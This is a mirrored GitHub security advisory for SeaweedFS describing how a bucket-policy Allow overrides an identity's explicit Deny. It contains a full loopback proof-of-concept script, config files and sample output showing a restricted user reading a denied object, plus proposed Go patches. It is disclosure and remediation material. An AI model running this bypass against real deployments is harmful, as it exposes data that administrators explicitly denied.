GHSA-XXC3-72QF-3G5R
S3 bucket-policy Allow overrides an authenticated identity's explicit Deny
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XXC3-72QF-3G5R divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
S3 bucket-policy Allow overrides an authenticated identity's explicit Deny
Summary
SeaweedFS evaluates a matching S3 bucket-policy `Allow` before the authenticated principal's identity-side policies. The bucket-policy result short-circuits the later IAM check, so a non-admin S3 principal can read an object that an administrator-controlled identity policy explicitly denies after the principal installs a bucket-policy `Allow` for itself.
This report demonstrates that boundary crossing with a real loopback `weed mini` deployment and a static non-admin identity. The same ordering defect is test-verified for enabled-group and STS-session explicit Denies, and for secondary object-key authorization helpers; those extensions are clearly separated from the daemon-verified claim below.
Evidence tiers
| Claim | Evidence tier | Result |
|---|---|---|
| Static identity `GetObject` explicit Deny bypass | Real `weed mini` daemons, signed S3 requests, synthetic object body | Reproduced on 4.46 and master `966692fa`; fixed builds deny it |
| Enabled-group and real STS-session explicit Deny composition | In-process signed-request regression tests, including race runs | Unpatched path permits the bucket Allow; proposed fix preserves the Deny |
| CopySource, DeleteObjects body key, and POST Object secondary-key paths | In-process helper tests and source inspection | Same bucket-Allow short circuit reaches these helpers |
| Resource policy supplying an Allow over implicit identity denial | Positive regression control | Preserved by the proposed fix |
| Public `Principal: "*"` bucket policy | Anonymous positive regression control | Preserved by the proposed fix |
Affected package and versions
- Ecosystem: Go
- Package: `github.com/seaweedfs/seaweedfs`
- Runtime-confirmed latest release as of 2026-09-10: 4.46, commit `d997fba1575583a89cf0cc50dc0150642286c86d`.
- Runtime-confirmed master snapshot: `966692fa232c8ba4e5dcfe649cfd1443421364d8`.
- Remote master at the final check: `3c9a4bbddad0533de32765f8f6262d00562ec4e5`, five commits later. An authenticated compare showed that none of the intervening commits changed `weed/s3api/auth_credentials.go`, `weed/iam`, or the policy-authorization paths involved here. I did not rerun the daemon on `3c9a4bbd`.
- Earliest affected release: not bisected. PR #7471 introduced the relevant bucket-Allow short circuit, but only 4.46 and the listed master snapshot are claimed as confirmed; please set the final range from repository history.
Deployment, attacker, and trust boundary
The reproduction starts `weed mini` with master, volume, filer, S3, and admin components bound to `127.0.0.1`. The S3 gateway uses a static S3 configuration and advanced IAM is enabled with `-s3.iam=true`. The attacker reaches only the S3 endpoint. Internal component ports are not part of the attack path.
The attacker is a valid non-admin S3 principal with:
- `s3:GetObject` Allow only for `victim-bucket/allowed/*`;
- `s3:GetObject` explicit Deny for `victim-bucket/secret/*`; and
- a deliberate, legitimate `s3:PutBucketPolicy` Allow on `victim-bucket`.
The trust boundary is the public S3 API between that delegated non-admin principal and the administrator-controlled identity, group, and session policy plane. The boundary is crossed when the principal edits the resource-side bucket policy and thereby escapes the administrator's explicit Deny to retrieve `secret/payroll.txt`.
All credentials, buckets, and object bodies below are synthetic. The administrator identity only creates the bucket and seeds the two objects.
Why this is not intended behavior
The current comment says a bucket-policy Allow bypasses IAM checks to support cross-account access and policy-only principals. That goal is valid for an implicit identity-side denial: a resource policy can supply the missing Allow. It does not mean a resource policy may override an applicable explicit Deny.
The proposed fix keeps the intended implicit-deny behavior. The `allowed/report.txt` daemon control remains HTTP 200, the signed implicit-deny regression remains allowed, and an anonymous `Principal: "*"` bucket-policy control remains allowed. Only a matching explicit Deny from an applicable identity, enabled group, or STS session policy blocks the bucket Allow.
PR #10444 separately ensured that ordinary write permission cannot modify a bucket policy. This reproduction starts with `s3:PutBucketPolicy` intentionally delegated. In AWS policy evaluation, holding that administrative action still does not let the holder escape an explicit Deny on `s3:GetObject`; explicit Deny remains authoritative across identity- and resource-based policy evaluation.
A second deployment shape requires even fewer attacker privileges: an administrator may have already installed a broad or `Principal: "*"` bucket Allow. The same short-circuit then lets a restricted reader bypass its explicit Deny without holding `s3:PutBucketPolicy`. That variant follows from the same code path and is covered by policy-composition tests, but was not separately demonstrated with the multi-process daemon.
Expected and actual behavior
Expected:
- the restricted principal reads `allowed/report.txt`;
- the principal cannot read `secret/payroll.txt` because its identity policy explicitly denies it;
- the principal may update this bucket's policy because that permission was delegated; and
- a bucket-policy Allow for the same principal must not defeat the explicit identity Deny.
Actual on both unpatched commits: the restricted principal is denied before installing the bucket policy, installs the policy with HTTP 204, then reads the denied object with HTTP 200 and receives the seeded `victim-secret-body` marker.
| Build | Allowed control | Secret before policy | Restricted user PUT policy | Secret after policy | Marker returned |
|---|---:|---:|---:|---:|---:|
| 4.46 unpatched | 200 | 403 | 204 | 200 | yes |
| master `966692fa` unpatched | 200 | 403 | 204 | 200 | yes |
| 4.46 proposed fix | 200 | 403 | 204 | 403 | no |
| master proposed fix | 200 | 403 | 204 | 403 | no |
Security impact, severity, and CWE
The demonstrated impact is unauthorized confidentiality loss within a bucket/prefix protected by an explicit Deny. Write/delete propagation is supported only by helper-level tests, so it is not included in the score.
- Severity: Medium
- CVSS 3.1 for the demonstrated path: 5.9, `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N`
- Environmental variant where an administrator-authored broad bucket Allow already exists: 6.5, `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
- Primary CWE: CWE-863 — Incorrect Authorization
- Secondary CWE: CWE-696 — Incorrect Behavior Order
Self-contained reproduction
Environment used: macOS arm64 (Darwin 25.5.0), Go `1.26.6 darwin/arm64`, and curl 8.7.1 with `--aws-sigv4`. The daemon matrix was run with `-s3.iam=true`; standard mode was outside this candidate's daemon scope. All services bind to loopback, data lives under a fresh `mktemp` directory, and cleanup removes it. The valueless `?policy` SigV4 request was confirmed with curl 8.7.1; if another curl build canonicalizes it differently, the equivalent `aws s3api put-bucket-policy --endpoint-url ...` command can be substituted. On Linux, replace `shasum -a 256` with `sha256sum` if needed; the `mktemp` template may also need the platform's accepted form.
Build from clean source checkouts:
git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout d997fba1575583a89cf0cc50dc0150642286c86d
GOTOOLCHAIN=local go build -o weed-4.46 ./weed
git checkout 966692fa232c8ba4e5dcfe649cfd1443421364d8
GOTOOLCHAIN=local go build -o weed-master ./weedSave the following three files in one directory.
`s3-config.json`
{
"identities": [
{
"name": "admin",
"credentials": [
{
"accessKey": "LOCALADMINKEY0000001",
"secretKey": "local-admin-secret-for-loopback-only"
}
],
"actions": ["Admin"]
},
{
"name": "restricted-reader",
"account": {
"id": "000000000000",
"displayName": "restricted-reader"
},
"credentials": [
{
"accessKey": "LOCALDENYKEY00000001",
"secretKey": "local-deny-secret-for-loopback-only"
}
],
"policyNames": ["RestrictedRead"]
}
],
"policies": [
{
"name": "RestrictedRead",
"content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":\"s3:PutBucketPolicy\",\"Resource\":\"arn:aws:s3:::victim-bucket\"},{\"Effect\":\"Allow\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::victim-bucket/allowed/*\"},{\"Effect\":\"Deny\",\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::victim-bucket/secret/*\"}]}"
}
]
}`bucket-policy.json`
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowRestrictedReaderToSecretPrefix",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::000000000000:user/restricted-reader"
},
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::victim-bucket/secret/*"
}
]
}`reproduce.sh`
#!/usr/bin/env bash
set -euo pipefail
if [[ $# -ne 4 ]]; then
echo "usage: $0 WEED_BINARY LABEL S3_PORT EXPECTED_AFTER_POLICY_STATUS" >&2
exit 2
fi
weed_binary=$1
run_label=$2
s3_port=$3
expected_after_policy=$4
script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
config_file=${S3_CONFIG_FILE:-$script_dir/s3-config.json}
s3_iam_enabled=${S3_IAM_ENABLED:-true}
bucket_policy_file=$script_dir/bucket-policy.json
data_dir=$(mktemp -d "/tmp/seaweedfs-local-deny-$run_label.XXXXXX")
evidence_dir=$data_dir/evidence
master_port=$((s3_port + 1000))
volume_port=$((master_port + 7))
filer_port=$((s3_port + 565))
admin_port=$((s3_port + 5333))
admin_access=LOCALADMINKEY0000001
admin_secret=local-admin-secret-for-loopback-only
restricted_access=LOCALDENYKEY00000001
restricted_secret=local-deny-secret-for-loopback-only
endpoint=http://127.0.0.1:$s3_port
mkdir -p "$evidence_dir"
mkdir -p "$data_dir/master" "$data_dir/admin"
daemon_pid=
cleanup() {
if [[ -n "$daemon_pid" ]] && kill -0 "$daemon_pid" 2>/dev/null; then
kill -INT "$daemon_pid" 2>/dev/null || true
wait "$daemon_pid" 2>/dev/null || true
fi
case "$data_dir" in
/tmp/seaweedfs-local-deny-$run_label.*) rm -rf -- "$data_dir" ;;
*) echo "refusing to remove unexpected data directory: $data_dir" >&2 ;;
esac
}
trap cleanup EXIT
env \
-u AWS_ACCESS_KEY_ID \
-u AWS_SECRET_ACCESS_KEY \
-u AWS_SESSION_TOKEN \
-u HTTP_PROXY \
-u HTTPS_PROXY \
-u ALL_PROXY \
"$weed_binary" mini \
-dir="$data_dir" \
-master.dir="$data_dir/master" \
-admin.dataDir="$data_dir/admin" \
-ip=127.0.0.1 \
-ip.bind=127.0.0.1 \
-master.port="$master_port" \
-master.telemetry=false \
-volume.port="$volume_port" \
-volume.max=1 \
-filer.port="$filer_port" \
-s3.port="$s3_port" \
-s3.externalUrl="$endpoint" \
-s3.port.iceberg=0 \
-s3.port.lance=0 \
-s3.iam="$s3_iam_enabled" \
-s3.config="$config_file" \
-webdav=false \
-admin.port="$admin_port" \
-admin.ui=false \
>"$evidence_dir/daemon.log" 2>&1 &
daemon_pid=$!
ready=false
for _ in $(seq 1 120); do
if ! kill -0 "$daemon_pid" 2>/dev/null; then
echo "daemon exited before S3 became ready" >&2
tail -n 80 "$evidence_dir/daemon.log" >&2
exit 1
fi
if curl --silent --noproxy '*' --connect-timeout 1 --max-time 1 \
--output /dev/null "$endpoint/"; then
ready=true
break
fi
sleep 0.25
done
if [[ "$ready" != true ]]; then
echo "timed out waiting for S3 endpoint" >&2
exit 1
fi
record_request() {
local request_name=$1
local access_key=$2
local secret_key=$3
local method=$4
local url=$5
local request_body=${6-}
local response_file=$evidence_dir/$request_name.body
local status
local -a curl_args=(
--silent --show-error --noproxy '*'
--connect-timeout 2 --max-time 10
--aws-sigv4 aws:amz:us-east-1:s3
--user "$access_key:$secret_key"
--request "$method"
--output "$response_file"
--write-out '%{http_code}'
)
if [[ -n "$request_body" ]]; then
curl_args+=(--data-binary "$request_body")
fi
status=$(curl "${curl_args[@]}" "$url")
printf '%s\n' "$status" >"$evidence_dir/$request_name.status"
printf '%-38s %s\n' "$request_name" "$status"
}
assert_status() {
local request_name=$1
local expected=$2
local actual
actual=$(<"$evidence_dir/$request_name.status")
if [[ "$actual" != "$expected" ]]; then
echo "$request_name: expected HTTP $expected, got $actual" >&2
exit 1
fi
}
record_request create_bucket "$admin_access" "$admin_secret" PUT "$endpoint/victim-bucket"
record_request put_allowed "$admin_access" "$admin_secret" PUT "$endpoint/victim-bucket/allowed/report.txt" allowed-body
record_request put_secret "$admin_access" "$admin_secret" PUT "$endpoint/victim-bucket/secret/payroll.txt" victim-secret-body
record_request restricted_allowed "$restricted_access" "$restricted_secret" GET "$endpoint/victim-bucket/allowed/report.txt"
record_request restricted_secret_before_policy "$restricted_access" "$restricted_secret" GET "$endpoint/victim-bucket/secret/payroll.txt"
record_request put_bucket_policy "$restricted_access" "$restricted_secret" PUT "$endpoint/victim-bucket?policy" "@$bucket_policy_file"
record_request restricted_secret_after_policy "$restricted_access" "$restricted_secret" GET "$endpoint/victim-bucket/secret/payroll.txt"
assert_status create_bucket 200
assert_status put_allowed 200
assert_status put_secret 200
assert_status restricted_allowed 200
assert_status restricted_secret_before_policy 403
assert_status put_bucket_policy 204
assert_status restricted_secret_after_policy "$expected_after_policy"
if [[ $(<"$evidence_dir/restricted_allowed.body") != allowed-body ]]; then
echo "allowed-path control returned an unexpected body" >&2
exit 1
fi
if [[ "$expected_after_policy" == 200 ]] && \
[[ $(<"$evidence_dir/restricted_secret_after_policy.body") != victim-secret-body ]]; then
echo "vulnerable-path response did not contain the seeded marker" >&2
exit 1
fi
if [[ "$expected_after_policy" == 403 ]] && \
grep -q 'victim-secret-body' "$evidence_dir/restricted_secret_after_policy.body"; then
echo "denied response leaked the seeded marker" >&2
exit 1
fi
{
echo "label=$run_label"
echo "binary=$weed_binary"
echo "binary_sha256=$(shasum -a 256 "$weed_binary" | awk '{print $1}')"
echo "s3_endpoint=$endpoint"
echo "s3_config=$config_file"
echo "s3_iam_enabled=$s3_iam_enabled"
echo "bucket_policy_installer=restricted-reader"
echo "data_scope=temporary loopback-only; removed on exit"
echo "expected_after_policy=$expected_after_policy"
echo "result=pass"
} >"$evidence_dir/run-metadata.txt"Run:
chmod +x reproduce.sh
./reproduce.sh /absolute/path/to/weed-4.46 release-4.46 18373 200
./reproduce.sh /absolute/path/to/weed-master master-966692fa 18343 200A complete successful vulnerable run prints:
create_bucket 200
put_allowed 200
put_secret 200
restricted_allowed 200
restricted_secret_before_policy 403
put_bucket_policy 204
restricted_secret_after_policy 200The script also rejects the run unless the returned body is exactly the seeded `victim-secret-body`. Against binaries built with the proposed patch, invoke the same script with expected status `403`; both patched builds passed and the marker was absent.
Root cause
`authRequestWithAuthType` evaluates the bucket policy first. A matching Allow sets `policyAllows=true`. `VerifyActionPermission`, which evaluates applicable identity/group policies and the advanced IAM/session path, runs only when `policyAllows` is false. The bucket Allow therefore skips an explicit Deny in another policy plane.
`authorizeObjectKeyAction` has the same composition order for secondary keys that are not taken directly from the routed URL, including CopySource, DeleteObjects body keys, and POST Object form keys.
The narrow fix asks only whether an applicable identity-side policy contains an explicit Deny before accepting a bucket Allow. It does not require a separate identity Allow. Evaluation errors continue to fail closed. A nil identity has no identity-side policy plane and returns “not explicitly denied,” preserving public bucket-policy behavior.
Master already exposes a tri-state attached-policy result and uses `resolveS3AuthTarget`. Release 4.46 still collapses attached-policy evaluation to a boolean, so its patch introduces the same tri-state internally and keeps `evaluateIAMPolicies` as a behavior-preserving boolean projection for the existing caller. The 4.46 explicit-Deny helper mirrors `resolveS3AuthTarget`: `ACTION_LIST` keeps a bucket-level resource; other actions use `ResolveS3Action` plus `buildS3ResourceArn`. LIST parity was covered by the existing and new policy tests.
Proposed master patch
diff --git a/weed/s3api/auth_credentials.go b/weed/s3api/auth_credentials.go
index 8adeff2..cdadd89 100644
--- a/weed/s3api/auth_credentials.go
+++ b/weed/s3api/auth_credentials.go
@@ -1813,8 +1813,16 @@ func (iam *IdentityAccessManagement) authRequestWithAuthType(r *http.Request, ac
} else if evaluated {
// A bucket policy exists and was evaluated with a matching statement
if allowed {
+ // Resource-based policies can supply the Allow that an identity policy
+ // omits, but an explicit Deny in any applicable identity, group, or
+ // session policy must still win. Skipping this check lets a bucket
+ // policy reopen a resource an administrator explicitly denied.
+ if iam.isActionExplicitlyDeniedByApplicablePolicies(r, identity, action, bucket, object) {
+ glog.V(3).Infof("Applicable identity/session policy explicitly denies %s to %s on %s/%s despite bucket policy allow", identity.Name, action, bucket, object)
+ return identity, s3err.ErrAccessDenied, reqAuthType
+ }
// Policy explicitly allows this action - grant access immediately
- // This bypasses IAM checks to support cross-account access and policy-only principals
+ // This bypasses implicit IAM denial to support cross-account access and policy-only principals.
glog.V(3).Infof("Bucket policy allows %s to %s on %s/%s (bypassing IAM)", identity.Name, action, bucket, object)
policyAllows = true
} else {
@@ -2607,6 +2615,25 @@ func (iam *IdentityAccessManagement) isActionExplicitlyDeniedByIAM(r *http.Reque
return denied
}
+// isActionExplicitlyDeniedByApplicablePolicies checks every identity-side
+// policy source without turning an implicit deny into a deny. A bucket policy
+// is allowed to supply a missing Allow, but it cannot override a matching Deny.
+func (iam *IdentityAccessManagement) isActionExplicitlyDeniedByApplicablePolicies(r *http.Request, identity *Identity, action Action, bucket, object string) bool {
+ if identity == nil {
+ // There is no identity-side policy plane to consult for an unauthenticated
+ // principal. The bucket policy remains authoritative for public access.
+ return false
+ }
+
+ if iam.evaluateAttachedIAMPolicies(r, identity, action, bucket, object) == attachedIAMPolicyDeny {
+ return true
+ }
+
+ s3Action, resourceArn := resolveS3AuthTarget(action, bucket, object, r)
+ principal := buildPrincipalARN(identity, r)
+ return iam.isActionExplicitlyDeniedByIAM(r, identity, principal, s3Action, resourceArn)
+}
+
// authorizationRoute is the mechanism that decides a request/identity pair's
// permissions: the IAM integration, locally attached IAM policies, the
// identity's legacy Actions, or nothing at all.
@@ -2844,6 +2871,9 @@ func (iam *IdentityAccessManagement) authorizeObjectKeyAction(r *http.Request, i
}
if evaluated {
if allowed {
+ if iam.isActionExplicitlyDeniedByApplicablePolicies(keyReq, identity, action, bucket, objectKey) {
+ return s3err.ErrAccessDenied
+ }
return s3err.ErrNone
}
return s3err.ErrAccessDeniedProposed 4.46 patch
diff --git a/weed/s3api/auth_credentials.go b/weed/s3api/auth_credentials.go
index 6b4bea6..c1f6688 100644
--- a/weed/s3api/auth_credentials.go
+++ b/weed/s3api/auth_credentials.go
@@ -1813,8 +1813,15 @@ func (iam *IdentityAccessManagement) authRequestWithAuthType(r *http.Request, ac
} else if evaluated {
// A bucket policy exists and was evaluated with a matching statement
if allowed {
+ // Resource-based policies can supply the Allow that an identity policy
+ // omits, but an explicit Deny in any applicable identity, group, or
+ // session policy must still win.
+ if iam.isActionExplicitlyDeniedByApplicablePolicies(r, identity, action, bucket, object) {
+ glog.V(3).Infof("Applicable identity/session policy explicitly denies %s to %s on %s/%s despite bucket policy allow", identity.Name, action, bucket, object)
+ return identity, s3err.ErrAccessDenied, reqAuthType
+ }
// Policy explicitly allows this action - grant access immediately
- // This bypasses IAM checks to support cross-account access and policy-only principals
+ // This bypasses implicit IAM denial to support cross-account access and policy-only principals.
glog.V(3).Infof("Bucket policy allows %s to %s on %s/%s (bypassing IAM)", identity.Name, action, bucket, object)
policyAllows = true
} else {
@@ -2452,12 +2459,21 @@ func determineIAMAuthPath(sessionToken, principal, principalArn string) iamAuthP
return iamAuthPathNone
}
-// evaluateIAMPolicies evaluates attached IAM policies for a user identity.
-// Returns true if any matching statement explicitly allows the action.
-// Uses the cached iamPolicyEngine to avoid re-parsing policy JSON on every request.
-func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identity *Identity, action Action, bucket, object string) bool {
+// attachedIAMPolicyResult is the tri-state outcome of evaluating an identity's
+// attached IAM policies: explicit Allow, explicit Deny, or no match.
+type attachedIAMPolicyResult int
+
+const (
+ attachedIAMPolicyNoMatch attachedIAMPolicyResult = iota
+ attachedIAMPolicyAllow
+ attachedIAMPolicyDeny
+)
+
+// evaluateAttachedIAMPolicies evaluates the identity's own and group attached
+// IAM policies and reports whether they explicitly allow, deny, or do not match.
+func (iam *IdentityAccessManagement) evaluateAttachedIAMPolicies(r *http.Request, identity *Identity, action Action, bucket, object string) attachedIAMPolicyResult {
if identity == nil {
- return false
+ return attachedIAMPolicyNoMatch
}
iam.m.RLock()
@@ -2479,11 +2495,11 @@ func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identi
// Collect all policy names: user policies + group policies
if len(identity.PolicyNames) == 0 && len(groupPolicies) == 0 {
- return false
+ return attachedIAMPolicyNoMatch
}
if engine == nil {
- return false
+ return attachedIAMPolicyNoMatch
}
// List is bucket-level; the prefix promoted into object (for the legacy
@@ -2514,7 +2530,7 @@ func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identi
for _, policyName := range identity.PolicyNames {
result := engine.EvaluatePolicy(policyName, evalArgs)
if result == policy_engine.PolicyResultDeny {
- return false
+ return attachedIAMPolicyDeny
}
if result == policy_engine.PolicyResultAllow {
explicitAllow = true
@@ -2526,7 +2542,7 @@ func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identi
for _, policyName := range policyNames {
result := engine.EvaluatePolicy(policyName, evalArgs)
if result == policy_engine.PolicyResultDeny {
- return false
+ return attachedIAMPolicyDeny
}
if result == policy_engine.PolicyResultAllow {
explicitAllow = true
@@ -2534,7 +2550,16 @@ func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identi
}
}
- return explicitAllow
+ if explicitAllow {
+ return attachedIAMPolicyAllow
+ }
+ return attachedIAMPolicyNoMatch
+}
+
+// evaluateIAMPolicies is a bool projection of evaluateAttachedIAMPolicies for
+// callers that only need the allow outcome.
+func (iam *IdentityAccessManagement) evaluateIAMPolicies(r *http.Request, identity *Identity, action Action, bucket, object string) bool {
+ return iam.evaluateAttachedIAMPolicies(r, identity, action, bucket, object) == attachedIAMPolicyAllow
}
// isActionExplicitlyDeniedByIAM reports whether the identity's attached IAM
@@ -2588,6 +2613,30 @@ func (iam *IdentityAccessManagement) isActionExplicitlyDeniedByIAM(r *http.Reque
return denied
}
+// isActionExplicitlyDeniedByApplicablePolicies checks every identity-side
+// policy source without turning an implicit deny into a deny. A bucket policy
+// is allowed to supply a missing Allow, but it cannot override a matching Deny.
+func (iam *IdentityAccessManagement) isActionExplicitlyDeniedByApplicablePolicies(r *http.Request, identity *Identity, action Action, bucket, object string) bool {
+ if identity == nil {
+ // There is no identity-side policy plane to consult for an unauthenticated
+ // principal. The bucket policy remains authoritative for public access.
+ return false
+ }
+
+ if iam.evaluateAttachedIAMPolicies(r, identity, action, bucket, object) == attachedIAMPolicyDeny {
+ return true
+ }
+
+ resourceObject := object
+ if action == s3_constants.ACTION_LIST {
+ resourceObject = ""
+ }
+ s3Action := ResolveS3Action(r, string(action), bucket, resourceObject)
+ resourceArn := buildS3ResourceArn(bucket, resourceObject)
+ principal := buildPrincipalARN(identity, r)
+ return iam.isActionExplicitlyDeniedByIAM(r, identity, principal, s3Action, resourceArn)
+}
+
// authorizationRoute is the mechanism that decides a request/identity pair's
// permissions: the IAM integration, locally attached IAM policies, the
// identity's legacy Actions, or nothing at all.
@@ -2815,6 +2864,9 @@ func (iam *IdentityAccessManagement) authorizeObjectKeyAction(r *http.Request, i
}
if evaluated {
if allowed {
+ if iam.isActionExplicitlyDeniedByApplicablePolicies(keyReq, identity, action, bucket, objectKey) {
+ return s3err.ErrAccessDenied
+ }
return s3err.ErrNone
}
return s3err.ErrAccessDeniedValidation performed and limitations
- Real loopback daemons: unpatched and patched 4.46/master; the signed static-identity `GetObject` matrix above passed again with the self-contained reproducer.
- Patched `go test ./weed/s3api/... ./weed/iam/... -count=1`: passed on 4.46 and master.
- Focused identity, enabled-group, real STS-session, secondary-key, implicit-deny, anonymous-public-policy, conditional policy, exact/wildcard policy, and LIST behavior regressions: passed on both relevant trees.
- Focused `go test -race` runs: passed on both trees before the final nil-identity compatibility edit; the final edit was then covered by ordinary focused and full package runs.
- Candidate-only bounded fuzz on master: 14,591 executions over three seconds, pass. A broader ten-second experiment reached 203,346 executions and passed, but combined additional unrelated research changes and is not used as sole patch evidence.
- `git diff --check`: passed.
- `go vet ./weed/s3api/... ./weed/iam/...` reports the same five copylock warnings in untouched upstream test files on clean and patched 4.46/master. This is a pre-existing non-zero baseline, not a vet pass.
- Only static-identity `GetObject` was daemon-demonstrated. Group, STS, secondary-key, and pre-existing broad-policy variants are test-verified/source-supported and are not presented as separate multi-process reproductions.
- No first-affected release was established. No external service, third-party data, destructive action, or availability workload was used.
Public duplicate review
No exact public advisory, issue, or pull request describing a bucket-policy Allow overriding an identity/group/session explicit Deny in the current composition path was found as of 2026-09-10. Private reports are not searchable, so novelty is not guaranteed.
| Public item | Related area | Why it is distinct |
|---|---|---|
| PR #7471, S3 bucket-policy enforcement | Introduced the current bucket-Allow bypass | Does not preserve or discuss explicit Deny across policy planes |
| PR #8518, attached-policy tests | Deny precedence inside attached-policy evaluation | Does not compose a bucket resource Allow with identity/session Deny |
| PR #10444, require `s3:PutBucketPolicy` | Prevents generic Write users from editing policy | This principal legitimately has the dedicated action and still should not escape a GetObject Deny |
| PR #8338, session policies | Adds STS session-policy support | Does not cover resource Allow overriding session explicit Deny |
| PR #11232, native Admin behavior | Discusses a pre-existing admin secondary-key early return | Admin-only behavior is excluded from this report and patch |
| Issue #9546 / PR #9555, CopySource authorization | Adds a missing source-key permission check | This report applies after that helper is invoked and concerns cross-plane Deny composition |
| PR #11072, shared per-key authorization | Routes additional secondary-key paths through the helper | Does not change the bucket-Allow short circuit within the helper |
The current implementation is actively changing, which increases private duplicate uncertainty; please perform the repository's internal duplicate check.
Remediation guidance
Before honoring a bucket-policy Allow for an authenticated identity:
- evaluate all applicable identity and enabled-group policies for a matching explicit Deny;
- evaluate the applicable STS session policy for a matching explicit Deny;
- fail closed on evaluation error;
- if no explicit Deny matches, preserve the existing resource-policy Allow behavior; and
- apply the same composition rule to secondary-object authorization.
The attached diffs are reference patches for review. Native Admin semantics remain outside this change because that separate behavior has public history and a broader compatibility decision.
AI assistance and credit
This report was prepared with AI assistance. The working reproduction was executed locally against real `weed` daemons built from both pinned commits; HTTP statuses and the returned synthetic marker were checked, and patched controls plus relevant package tests were run. A separate native Claude Code review pass using the same model (`claude-opus-5`) with maximum effort was used as an editorial and claim-calibration gate; it did not execute the reproduction.
Requested credit: GitHub user `dpfkdlemtp`.
Versiones afectadas
4.46Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-xxc3-72qf-3g5rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
